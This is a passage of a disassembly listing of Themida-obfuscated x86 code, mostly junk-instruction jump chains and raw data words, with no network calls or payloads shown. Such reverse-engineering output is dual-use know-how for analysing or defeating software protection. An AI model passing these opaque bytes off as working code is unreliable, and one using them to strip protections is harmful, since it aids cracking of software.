0BFh, 97C72900h, 0FFE120E9h dd 243C89FFh, 0FFAE9AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C7E9: ; CODE XREF: Themida_:0054EAC5j add esp, 4 shl esi, 1 jmp loc_54FA5B ; --------------------------------------------------------------------------- db 1 dd 3C8758C7h, 4295C24h, 21E99C24h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C803: ; CODE XREF: Themida_:0054C3DDj add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_544E9A ; --------------------------------------------------------------------------- dd 0E2C1C681h, 0F5098ADEh db 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 6DE02A07h and ebp, edi pop edi jmp loc_54454E ; --------------------------------------------------------------------------- db 83h, 0C1h, 4 dd 5C240C87h, 4C481h, 71E90000h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C84F: ; CODE XREF: Themida_:0054A172j add esp, 4 shr eax, 18h xor eax, ecx xchg eax, ecx not ecx push eax push ecx jmp loc_54EBF5 ; --------------------------------------------------------------------------- dd 17A5E952h, 68510000h, 2, 81240C8Bh, 4C4h, 0BEEF8100h dd 15CAC71h, 31BE56CFh, 0E9152333h, 0FFFFD416h, 0BB852EBBh dd 0FEE1E986h, 685CFFFFh, 66B7h, 68240489h, 60BFh, 0B9240C89h dd 533973BAh, 2130E9h, 5EBC100h, 4152EB81h, 0F381711Bh dd 4E2A2F4Eh, 146DEB81h, 0F3816E22h, 708E9264h, 875BDD01h dd 0D35C242Ch, 0E99C2424h, 0FFFF7048h ; --------------------------------------------------------------------------- loc_54C8DC: ; CODE XREF: Themida_:00544EA3j shr ebx, 1 push eax mov eax, 1 jmp loc_54AFB0 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 5 dd 1024E9h, 0B2E95B00h, 5AFFFF7Eh, 299E9h, 5BDE2900h, 5C243487h dd 68243C89h, 927h, 2411E9h, 48F5F00h, 56E95C24h, 81FFFFC7h dd 4ECh, 241C8900h, 0C381E389h, 4, 68A568h, 24148900h dd 468h, 0D3295A00h, 8324148Bh, 1C8704C4h, 2AEDE924h, 68660000h dd 896653D9h, 0CDE9240Ch, 28FFFF6Fh, 525366F5h, 0D38846B2h dd 66DD005Ah, 83241C8Bh, 148B02C4h, 4C48324h, 0F580C5FEh dd 0E9D5F6E8h, 0FFFFB20Ah ; --------------------------------------------------------------------------- loc_54C97C: ; CODE XREF: Themida_:0054AB30j push 40B81882h mov edx, [esp] add esp, 4 push ebp push esi mov esi, 0E764231h mov ebp, esi jmp loc_54562B ; --------------------------------------------------------------------------- db 89h, 0E5h, 0E9h dd 0FFFFF9EFh ; --------------------------------------------------------------------------- loc_54C99C: ; CODE XREF: Themida_:00546CA0j and edx, 35A5FC3h jmp loc_546029 ; --------------------------------------------------------------------------- db 2Dh dd 0FD58C1h, 0FFAA06E9h, 72480DFFh, 0F7484D19h, 569C68D0h dd 34890000h, 0AE62E924h, 12B4FFFFh, 8044EB80h, 0E4E91AC3h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C9D3: ; CODE XREF: Themida_:005467ADj add esp, 4 pop ebx loc_54C9DA: ; CODE XREF: Themida_:005458A6j push 70F8h mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_54ABDD ; --------------------------------------------------------------------------- db 5Fh, 81h, 0F1h dd 59C12184h, 1AE9C829h, 55FFFFB4h, 0FF748BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CA01: ; CODE XREF: Themida_:0054889Bj add esp, 4 sub ebx, 482D1BADh jmp loc_54DA8D ; --------------------------------------------------------------------------- dw 835Dh dd 676802C7h, 8900005Eh, 74FF243Ch, 0A2E90424h, 5AFFFFB1h dd 13A9E9h, 5BE95D00h, 25FFFFC6h, 36272DAh, 5C732C25h dd 58FD3537h, 3540119Ah, 129A08F4h, 0FF94FBE9h, 34F581FFh dd 0E9FBF33Fh, 17C8h, 5237312Dh, 58C68905h, 348BF501h dd 4C48124h, 87000000h, 0D9E9242Ch db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA73: ; CODE XREF: Themida_:00547CE8j add eax, 5ADF4C99h jmp loc_54BDE3 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 5704C483h, 7EBF68h, 24048900h, 5A4F0C68h, 24048B7Ch dd 0FF923BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CA99: ; CODE XREF: Themida_:0054CE46j or esi, 172F4CE7h xor esi, 0B30AF810h sub ebx, esi pop esi sub ebx, ecx add ebx, 0C6507EFh jmp loc_54860F ; --------------------------------------------------------------------------- loc_54CAB5: ; CODE XREF: Themida_:005463F2j sub [esp], ch mov ch, [esp] add esp, 4 jmp loc_5494DA ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 24041058h, 6E52E99Ch, 515BFFFFh, 348B595Bh dd 0BB7CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CADE: ; CODE XREF: Themida_:00545FBAj mov edi, 4E8A6D14h and ecx, edi jmp loc_545315 ; --------------------------------------------------------------------------- dw 2C81h dd 0E3DB624h, 0C7815F69h, 690E3DB6h, 0A45AE958h, 0E688FFFFh dd 2434FF58h, 81241C8Bh, 4C4h, 0DBF2E900h, 0C281FFFFh dd 0E1888F68h, 148BD589h, 4C48124h, 1000000h, 8B04246Ch dd 8951242Ch, 4C181E1h, 83000000h, 0C8704C1h, 0E95F5C24h dd 0FFFFFAFAh, 37AFCF81h, 65E97FF9h, 1FFFF6Fh, 0E762E9CEh dd 0DAF7FFFFh, 0FFC4C6E9h, 2EAC1FFh, 311CE9h, 8E0C100h dd 254E9h, 0EF2DAD00h db 6Fh, 92h, 78h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54A688 ; --------------------------------------------------------------------------- db 66h dd 0A5E930FFh, 81FFFF6Dh, 3C2EDFEBh, 0C381590Ch, 2, 2474FF53h dd 1122E904h, 0E8200000h, 0FF86A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CB9D: ; CODE XREF: Themida_:00547331j pop esp mov [esp], esi mov esi, 48EE366Dh push ebx mov ebx, 2C25004Ah add eax, ebx pop ebx sub eax, esi jmp loc_54D63D ; --------------------------------------------------------------------------- loc_54CBB6: ; CODE XREF: Themida_:00543FFAj push ebp mov ebp, ecx jmp loc_549C21 ; --------------------------------------------------------------------------- loc_54CBBE: ; CODE XREF: Themida_:0054ED9Ej shl edi, 8 and edi, 2D0567F8h jmp loc_544F02 ; --------------------------------------------------------------------------- dd 57D831ADh, 0A31094BFh, 8E7C12Eh, 5F5CBB53h, 0EC811AC2h dd 4, 0BE243489h, 4E46ACEh, 815EF309h, 3A1D86C3h, 0C3814B3Ch dd 6D950575h, 6B28EB81h, 0EB8178DAh, 3EC0E0Ch, 815BDF31h dd 0F306E8E7h, 7EFC149h, 0FFC7B8E9h, 47685AFFh, 0E9000054h dd 0FFFFA292h, 52243489h, 0B66131BAh, 5AD68920h, 0D05CE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC36: ; CODE XREF: Themida_:0054E76Ej sub ebx, esi pop esi sub esp, 4 mov [esp], ebx jmp loc_54A771 ; --------------------------------------------------------------------------- db 0FFh, 77h, 3Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebp push 5B0910D5h pop ebp not ebp push eax mov eax, 42C32FB3h dec eax not eax xor eax, 0DE93F919h add ebp, eax pop eax xor ebp, 411A7D47h mov ecx, ebp pop ebp sub dword ptr [esp+4], 40CB46D3h jmp loc_546D7F ; --------------------------------------------------------------------------- dw 0C101h dd 0FFF47BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CC91: ; CODE XREF: Themida_:005458E3j mov ebp, 3A535B13h mov esi, ebp pop ebp jmp loc_547BFB ; --------------------------------------------------------------------------- dw 0C181h dd 9640963h, 83243C8Bh, 696804C4h, 89000018h, 71E9240Ch dd 28FFFFE3h, 1AEB80E3h, 6644C380h, 80CBFE58h, 0E9E937F3h dd 5AFFFFE9h, 0C781F701h, 65560F7Eh, 243C875Eh, 0E924248Bh dd 9EDh, 2EDFC381h, 0B6E90C3Ch, 53FFFF97h, 4BBh, 5BDF0100h dd 4C781h, 3C870000h, 13E95C24h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD03: ; CODE XREF: Themida_:005460FFj xor ecx, 0F491AD9h push ebp mov ebp, 490EB6B8h jmp loc_547A0B ; --------------------------------------------------------------------------- dd 5385C280h, 0DA302FB3h, 5AD4305Bh, 97E9E130h, 68FFFF75h dd 2F18h, 56240C89h, 1D3C89BEh, 5EF18919h, 10EE9h, 14685A00h dd 8900000Fh, 74E9241Ch, 1FFFFADh, 676668D8h, 34890000h dd 0A677E924h, 74FFFFFFh, 1C8B0424h, 4C48124h, 8F000000h dd 248B2404h, 0C83B6624h, 6BAEE99Ch, 0BB53FFFFh, 4B4F32D7h dd 7571BD55h, 0EB292C84h, 2340E9h db 0 ; --------------------------------------------------------------------------- loc_54CD89: ; CODE XREF: Themida_:00544F4Cj sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push ecx mov ecx, 9E22220h shl ecx, 5 add ecx, 0C3BBBC04h sub edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] mov [esp], edx push esi mov esi, 67615352h jmp loc_54E7A5 ; --------------------------------------------------------------------------- db 40h, 35h, 25h dd 53FFD7Ah, 5EA52D2h, 9668982Dh, 0B1EB81D6h, 15EF745h dd 80E950C3h, 29FFFFD4h, 0EBC681DEh, 5522034Ch, 2F720DBDh dd 0E9EE2961h, 0FFFF9DCBh, 2404815Ch, 1C9A032Eh, 30F3BA52h dd 6C813C80h, 0F180424h, 5401548Eh, 0B2680424h, 89000008h dd 0BD55240Ch, 548E0F18h, 15DE989h, 5908244Ch, 0FF8EA2E9h dd 5D0F7FFh, 69F40706h, 2F1AE9h db 0 ; --------------------------------------------------------------------------- loc_54CE31: ; CODE XREF: Themida_:005477E9j push esi mov esi, 0DC5FCFA2h mov ebx, esi pop esi push esi mov esi, 1E167094h sub esi, 5FAA797Ah jmp loc_54CA99 ; --------------------------------------------------------------------------- db 81h dd 0B50749C3h, 0E9CB291Ch, 0FFFF8970h, 3A1BCA81h, 0B7E92184h dd 83FFFFD8h, 0B95104C4h, 392467C0h, 6B000405h, 83C80176h dd 0C8904ECh, 2D58B924h, 0D9F713DBh, 1085BF57h, 0C7812533h dd 0FB58F01Ah, 575FF909h, 247A62BFh, 5FF90111h, 678CBD55h dd 3AE92DA0h, 89FFFFD3h, 0EC832434h, 24248904h, 4240481h dd 0E9000000h, 0FFFFB979h, 8B24048Fh, 8B662424h, 0E9532404h dd 0FFFFF30Eh ; --------------------------------------------------------------------------- loc_54CEC8: ; CODE XREF: Themida_:0054C05Ej push ecx jmp loc_54BDDB ; --------------------------------------------------------------------------- loc_54CECE: ; CODE XREF: Themida_:005471F9j inc ebp sub ebp, 0A431D3EBh or ebx, ebp pop ebp sub ebx, 0AD6FCD9Dh add eax, ebx pop ebx jmp loc_547CE3 ; --------------------------------------------------------------------------- loc_54CEE6: ; CODE XREF: Themida_:0054D98Bj xor ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_54A16D ; --------------------------------------------------------------------------- loc_54CEF6: ; CODE XREF: Themida_:0054C763j or eax, eax jnz loc_546046 push ebp push edi push ebx push 41566DD1h pop ebx jmp loc_545C41 ; --------------------------------------------------------------------------- loc_54CF0C: ; CODE XREF: Themida_:0054E7F9j pop ebx jmp loc_54D250 ; --------------------------------------------------------------------------- dw 0F58h dd 34FFC0B6h, 2434FF87h, 230FE9h, 241C8B00h, 0FFDCF8E9h dd 241C8BFFh, 4C481h, 54560000h, 4C6815Eh, 0E9000000h dd 0FFFFE7F6h, 42474FFh, 8324348Bh, 2BE904C4h, 59FFFFEAh dd 0D14E941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CF56: ; CODE XREF: Themida_:0054B41Ej push esp jmp loc_54847C ; --------------------------------------------------------------------------- dd 0E95FF829h, 1EB2h ; --------------------------------------------------------------------------- loc_54CF64: ; CODE XREF: Themida_:0054ED1Dj sub ebp, 0FFFFFFFFh push ecx push ebp jmp loc_54F67E ; --------------------------------------------------------------------------- loc_54CF6E: ; CODE XREF: Themida_:005472A6j mov esi, 633C54C5h mov ebp, esi pop esi add eax, 49624FEBh sub eax, ebp sub eax, 49624FEBh mov ebp, [esp] jmp loc_54F9B0 ; --------------------------------------------------------------------------- loc_54CF8A: ; CODE XREF: Themida_:00544D14j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebp push 7D7Ch mov [esp], esi mov esi, 1 mov ebp, esi mov esi, [esp] add esp, 4 and eax, ebp push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or edx, eax shl edx, 1 push eax sub esp, 4 mov [esp], esp jmp loc_54C1E9 ; --------------------------------------------------------------------------- dd 38D0EA81h, 0E9580006h, 0FFFF6940h, 8B2434FFh, 0C4832404h dd 0EC835204h, 0C1B2E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFF6: ; CODE XREF: Themida_:0054EFD6j mov ecx, [esp] push ecx push esp jmp loc_547C23 ; --------------------------------------------------------------------------- dd 0E959CE01h, 0FFFF7B9Ah, 5124248Bh, 0FF7352E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D011: ; CODE XREF: Themida_:00547B35j mov esp, [esp] jmp loc_544AF7 ; --------------------------------------------------------------------------- db 66h, 50h, 0B4h dd 66E6301Dh, 8124048Bh, 2C4h, 8AE95000h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D02F: ; CODE XREF: Themida_:005444DBj sub edi, 5AC879C6h shr edi, 8 push 2D92h mov [esp], eax push 233C232Ah mov eax, [esp] add esp, 4 shr eax, 6 not eax jmp loc_54A9A6 ; --------------------------------------------------------------------------- db 89h, 0E7h, 55h dd 0FF7AB8E9h, 2DD829FFh, 3B0A7DACh, 0E9241C8Bh, 6CBh ; --------------------------------------------------------------------------- loc_54D06C: ; CODE XREF: Themida_:00544392j xchg ebp, [esp] pop esp sub dl, 9Dh xor al, dl mov edx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 569Dh mov [esp], edx mov edx, esp jmp loc_54DD19 ; --------------------------------------------------------------------------- dd offset dword_457444+7C24h dd 240C8900h, 2D3468h, 243C8900h, 0F465CBFh, 0D9E94F18h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D0B7: ; CODE XREF: Themida_:005488ABj push esp pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp xor eax, ebp xor ebp, eax xor eax, ebp push ecx push 6581h mov [esp], ebp push edi mov edi, 69082E88h jmp loc_543F72 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 0E9000000h, 0FFFFE19Ah ; --------------------------------------------------------------------------- loc_54D0F0: ; CODE XREF: Themida_:005490C4j xchg ebp, [esp] jmp loc_54ECF3 ; --------------------------------------------------------------------------- aIpV db 'IP¸½V',0 dw 291Dh dd 0E9C158C1h, 8C80E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D10A: ; CODE XREF: Themida_:00548610j add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_54B883 ; --------------------------------------------------------------------------- dw 0E5C1h dd 0C1D5F705h, 0F58102E5h, 0DDBE6506h, 0FEE9EE89h, 66FFFFF8h dd 55240C8Bh, 2434FF54h, 4C4835Dh, 0E9E38953h, 0FFFFDD86h ; --------------------------------------------------------------------------- loc_54D144: ; CODE XREF: Themida_:0054A971j pop edx and ebp, 26562B48h dec ebp not ebp xor ebp, 0DBABD2C0h and eax, ebp pop ebp shr eax, 0Ah xor eax, ecx push eax jmp loc_54AEAD ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFFA063h, 5C243C87h, 0E924048Fh, 1F98h, 74668FB8h dd 8BC50141h, 0FBE92404h, 5600000Dh, 93E9E689h, 87FFFFAFh dd 0E95C2414h, 0FFFFC12Ah ; --------------------------------------------------------------------------- loc_54D194: ; CODE XREF: Themida_:005472C9j push ebx mov ebx, 1DA81E40h add ebx, 28A27C8h neg ebx jmp loc_54575A ; --------------------------------------------------------------------------- db 81h dd 4ECh, 241C8900h, 1CE9h, 81424A00h, 1122F4C2h, 0D4CA811Ch dd 810ABD73h, 0C7CDECEAh, 5AD33144h, 2297E9h, 2765BB00h dd 0ECE94DBBh, 83FFFFE4h, 0E5E904C4h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D1E3: ; CODE XREF: Themida_:00547C00j push ecx mov ecx, 25DC7D4Fh xor ecx, 1E1235ACh mov eax, ecx pop ecx xor eax, 1DF20BC7h jmp loc_54D72A ; --------------------------------------------------------------------------- loc_54D1FC: ; CODE XREF: Themida_:0054A742j pop esp push 0BB4h jmp loc_54731A ; --------------------------------------------------------------------------- db 81h dd 9F3F18CEh, 0A138E924h, 0F181FFFFh, 2A1AEABFh, 0F42A382Dh dd 5C80165h, 65F42A38h, 58C50159h, 2CC8ED81h, 555F588Dh dd 42474FFh, 81242C8Bh, 4C4h, 24048F00h, 242CD25Ch, 0C3B4E99Ch dd 0E95FFFFFh, 0FFFFB41Fh ; --------------------------------------------------------------------------- loc_54D250: ; CODE XREF: Themida_:0054CF0Dj push esi mov esi, eax mov ebx, esi pop esi pop eax and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], eax mov eax, 1 jmp loc_54E77A ; --------------------------------------------------------------------------- db 66h dd 68241489h, 5791h, 66241C89h, 6613FABBh, 0E901C383h dd 0FFFFDAEFh ; --------------------------------------------------------------------------- loc_54D298: ; CODE XREF: Themida_:0054B065j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_543924 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0C6h dd 1277E0Bh, 1A83E9C8h, 0EC800000h, 0FECCFEA8h, 0B252CCh dd 0FE08EAC0h, 0FA4AE9CAh, 5A66FFFFh, 6866C300h, 896608E2h dd 0D8B5240Ch, 0E928B252h, 0FFFF8E6Bh, 4E5BDE31h, 75D8C681h dd 0F6810E3Dh, 9E0D7A84h, 3C15C581h, 0F5016FC6h, 3C15ED81h dd 2FE96FC6h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D303: ; CODE XREF: Themida_:00546911j not bh add bh, 0F6h or bh, 67h jmp loc_549730 ; --------------------------------------------------------------------------- loc_54D310: ; CODE XREF: Themida_:00547114j mov [esp], edx mov dh, 0DAh not dh jmp loc_54BAFB ; --------------------------------------------------------------------------- loc_54D31C: ; CODE XREF: Themida_:0054AE62j mov [esp], ebp jmp loc_54F9F3 ; --------------------------------------------------------------------------- dd 6806E3C1h, 68ABh, 52243489h, 6C43BDBAh, 2C815227h, 0E8457024h dd 1BB6E94Fh, 0F1800000h, 2CBA2CF2h, 46D04ACh, 2CC828ABh dd 6DB252ABh, 0CEE9D028h, 8BFFFFB2h, 0B5E9242Ch, 0FFFFFF6Bh dd 48B2434h, 4C48324h, 0DFE95450h, 8BFFFFC9h, 0C481243Ch dd 4, 8904EC83h, 0B9512414h, 77466C23h, 0FFFFC181h, 0E9C1FFFFh dd 0F1814908h, 77466Fh, 0E4E9CA89h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D39F: ; CODE XREF: Themida_:00545210j add esi, 4 add esi, 4 xchg esi, [esp] pop esp loc_54D3AC: ; CODE XREF: Themida_:loc_543D22j ; Themida_:00549B88j push 0F18h mov [esp], ebx jmp loc_546068 ; --------------------------------------------------------------------------- loc_54D3B9: ; CODE XREF: Themida_:0054EC38j add al, bh pop ebx sub al, 9 jmp loc_548FDD ; --------------------------------------------------------------------------- db 59h dd 159CD29h, 0F16CE9EBh, 8F5DFFFFh, 248B2404h, 70686824h dd 14890000h, 0E2895224h, 0FF9929E9h, 240C89FFh, 0FF6537E9h dd 2404D2FFh, 77BEE99Ch, 34FFFFFFh, 0C4835B24h, 4EC8104h dd 89000000h, 0BF572434h, 70CA41DEh, 6E268EBEh, 5FFE01CCh dd 1534B951h, 0C68175F3h, 0C8C0F69h, 0EE81CE29h, 0C8C0F69h dd 0FF8C98E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D42D: ; CODE XREF: Themida_:0054A1BCj mov eax, [esp] push ebp jmp loc_548ADC ; --------------------------------------------------------------------------- dw 0C281h dd 10BE580Eh, 0FF64E3E9h, 2ABD55FFh, 8136094Bh, 4ECh, 240C8900h dd 2A9EBE56h, 0D9B9051Bh, 0E92F5E97h, 0FFFFE09Fh, 34CE814Eh dd 0E931756Fh, 0FFFF999Dh, 0D3F7E3D1h, 814BD3F7h, 1FC97FC3h dd 5BD8218Bh, 3A42062Dh, 58C70110h, 2C781h, 0E9570000h dd 11A1h ; --------------------------------------------------------------------------- loc_54D490: ; CODE XREF: Themida_:0054F9FEj and eax, ebp pop ebp jmp loc_549B64 ; --------------------------------------------------------------------------- loc_54D498: ; CODE XREF: Themida_:00546AB3j pop ebp sub ebx, eax sub ebx, 33F218E4h jmp loc_54F265 ; --------------------------------------------------------------------------- dw 0EB81h dd 0BDC7745h, 7DDAC381h, 0BF577484h, 7DBE123Bh, 0D814EF81h dd 0C3814EF3h, 255602BCh, 0CD6E9h, 66516600h, 22474FFh dd 8F665966h, 0EC832404h, 241C8904h, 0BD55E389h, 4, 815DEB01h dd 2EBh, 241C8700h, 0A84EE95Ch, 5453FFFFh, 4C3815Bh, 0E9000000h dd 0FFFF8D0Fh, 83241C8Bh, 0C38104C4h, 4, 2B850h, 0EB810000h dd 52626FE1h, 0FFC2B8E9h, 240487FFh, 0FF8250E9h, 4C383FFh dd 0FF9C41E9h, 80DAF6FFh, 0E980B6C2h, 80D100C8h, 45AC8C1h dd 0E9C82834h, 0FFFF6AFEh, 0E9242C87h, 0FFFF9377h ; --------------------------------------------------------------------------- loc_54D550: ; CODE XREF: Themida_:00545838j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_54885C ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E1895124h, 0FF8D0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D571: ; CODE XREF: Themida_:00546534j add edx, 4 xchg edx, [esp] pop esp jmp loc_54BE98 ; --------------------------------------------------------------------------- dd 5A04C483h, 0FF7B23E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D589: ; CODE XREF: Themida_:0054448Fj mov [esp], ecx jmp loc_54E2E6 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 3 dd 0F8E9EAD1h, 89FFFF94h, 0F9B3241Ch, 0F685CB80h, 6B7EE9DBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D5AA: ; CODE XREF: Themida_:0054BED9j or dh, 31h add dh, 34h xor dh, 33h push dx jmp loc_54665E ; --------------------------------------------------------------------------- dw 0E958h dd 0E3Eh ; --------------------------------------------------------------------------- loc_54D5C0: ; CODE XREF: Themida_:005492B9j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add eax, 77C40195h jmp loc_54445D ; --------------------------------------------------------------------------- db 0F7h dd 92C781DFh, 29666672h, 0EAC15FFAh, 54C28108h, 56351868h dd 4157F9BEh, 0F0CE8177h, 4E794765h, 7823EE81h, 0F22949BAh dd 0A670E95Eh, 0C480FFFFh, 58E330E2h, 0D828C22Ch, 805BC204h dd 0BFE946C3h, 0FFFFFF77h, 72E92434h, 8BFFFF79h, 89502424h dd 405E0h, 0C0830000h, 24048704h, 50E1F75Ch, 0FFE5EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D63D: ; CODE XREF: Themida_:0054CBB1j sub eax, 2C25004Ah pop esi push dword ptr [edi+eax*4] push edi mov edi, 30AC7864h jmp loc_545095 ; --------------------------------------------------------------------------- db 5Ch, 81h, 0C6h dd 4, 4EE81h, 34870000h, 24248B24h, 0E9240489h, 0FFFFEEB3h ; --------------------------------------------------------------------------- loc_54D66C: ; CODE XREF: Themida_:0054BDDEj mov ecx, [esp] jmp loc_547209 ; --------------------------------------------------------------------------- dd 8958C201h, 0EA015AD5h, 2414335Dh, 0F95E9h, 243C3100h dd 8B243C33h, 89662424h, 8DE92404h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D697: ; CODE XREF: Themida_:0054A1FBj and ebx, 57C576E8h or ebx, 2EDE346Ah jmp loc_5469F0 ; --------------------------------------------------------------------------- dd 4EC8150h, 89000000h, 17BE2434h, 561BF539h, 54240481h dd 583A735Ch, 0FFB6AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D6C5: ; CODE XREF: Themida_:00549FAEj add ebp, 4 jmp loc_54AEA5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXrse db 'XRée!',0 db 0 ; --------------------------------------------------------------------------- loc_54D6D7: ; CODE XREF: Themida_:0054E0DEj add ebx, 59077CCEh add ebx, edx push ebp mov ebp, 59303196h jmp loc_54C3BE ; --------------------------------------------------------------------------- dw 93BBh dd 81021D3Eh, 0B11D5FF3h, 79C38148h, 0BDBC2407h, 77AF6E0Ch dd 7FE9DD31h, 2DFFFFEDh, 3A624584h, 635FD42Dh, 0C3315D52h dd 0FF6A31E9h, 6E4C0FFh, 5335C480h, 0DD88E388h, 0DB2FE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D72A: ; CODE XREF: Themida_:0054D1F7j xor eax, 21D2552h push esi mov esi, eax jmp loc_54A4F0 ; --------------------------------------------------------------------------- db 83h dd 0BD5504C4h, 0 dd 0B951h, 0C1010000h, 5D592989h, 0E924048Bh, 0FFFF8DE5h dd 468h, 0DCABE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D75E: ; CODE XREF: Themida_:00545BF8j pop ebp and eax, edi mov edi, [esp] add esp, 4 shr eax, 8 xor eax, ecx push 289Ah jmp loc_545ECD ; --------------------------------------------------------------------------- db 2Dh, 44h, 28h dd 3C8B1681h, 0E2895224h, 0FF85D2E9h, 5AD129FFh, 0C8BC829h dd 4C48124h, 8B000000h, 0C481240Ch, 4, 0EC81C331h, 4, 89240489h dd 4BA52E0h, 1000000h, 1BE95AD0h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D7BB: ; CODE XREF: Themida_:0054A683j push dword ptr [esp] jmp loc_547191 ; --------------------------------------------------------------------------- loc_54D7C3: ; CODE XREF: Themida_:00547C97j mov ebp, esp push ecx mov ecx, 0BC0F43h and ecx, 2D4A571Ah xor ecx, 1BC300D0h xor ecx, 40E162BFh jmp loc_54B4D1 ; --------------------------------------------------------------------------- loc_54D7E2: ; CODE XREF: Themida_:0054AC70j mov edx, 93E70ECh mov esi, edx jmp loc_549441 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFCDEEh ; --------------------------------------------------------------------------- loc_54D7F4: ; CODE XREF: Themida_:00545D4Fj push 68EFh jmp loc_546B27 ; --------------------------------------------------------------------------- loc_54D7FE: ; CODE XREF: Themida_:0054F09Ej jmp loc_543924 ; --------------------------------------------------------------------------- db 88h dd 0E58851F4h, 5859EF88h, 0FFE7E9E9h, 66C580FFh, 0FFD729E9h dd 243489FFh, 4BEh, 24448100h, 0AA60A404h, 2474016Dh, 246C8104h dd 0AA60A404h, 2C8B5E6Dh, 4C48124h, 81000000h, 4C5h, 4C58300h dd 31242C33h, 2C33242Ch, 24248B24h, 582434FFh, 0FF8064E9h dd 81DDF7FFh, 550435C5h, 0E42E927h, 0C2810000h, 3364647Ch dd 1E1BC281h, 0D131E11Ch, 0FFBF1EE9h, 240481FFh, 4, 8324048Bh dd 0BF5704C4h, 4, 55FF801h, 2, 577668h, 24048900h, 42474FFh dd 8324048Bh, 48F04C4h, 24248B24h, 4B30F66h, 69E99C24h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D8BB: ; CODE XREF: Themida_:0054987Fj mov esi, 3F3569C1h push 0 sub [esp], esi pop esi sub esi, 0BBC132A6h jmp loc_54838D ; --------------------------------------------------------------------------- loc_54D8D4: ; CODE XREF: Themida_:00543DD2j xor eax, 3E2E4073h jmp loc_54E1C7 ; --------------------------------------------------------------------------- dw 5A58h dd 5B66F830h, 0EAB25266h, 0DB04012Ch, 5153D000h, 0FFBF0BE9h dd 0B1B450FFh, 0C003E4C0h, 0DCF604ECh, 0E979F480h, 0FFFFAEA4h ; --------------------------------------------------------------------------- loc_54D908: ; CODE XREF: Themida_:0054A168j neg ebp add ebp, 5265A6B0h jmp loc_547CED ; --------------------------------------------------------------------------- db 81h, 0F3h, 4 dd 530337D4h, 0FA243481h, 5964712Dh, 2DFAF181h, 815B6471h dd 286327EEh, 0F215E972h, 9C51FFFFh, 0FF5FE7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D93D: ; CODE XREF: Themida_:005480C9j inc eax or eax, 37DC5BABh push edx mov edx, 0AAB314Fh jmp loc_54DACD ; --------------------------------------------------------------------------- dw 8B66h dd 58682404h, 89000012h, 0E957243Ch, 0FFFFC420h, 0ABC4E958h dd 8E68FFFFh, 5B46A27Dh, 1D73E9h db 0 ; --------------------------------------------------------------------------- loc_54D971: ; CODE XREF: Themida_:005496A1j mov esi, [esp] add esp, 4 add ebx, 40BE0096h jmp 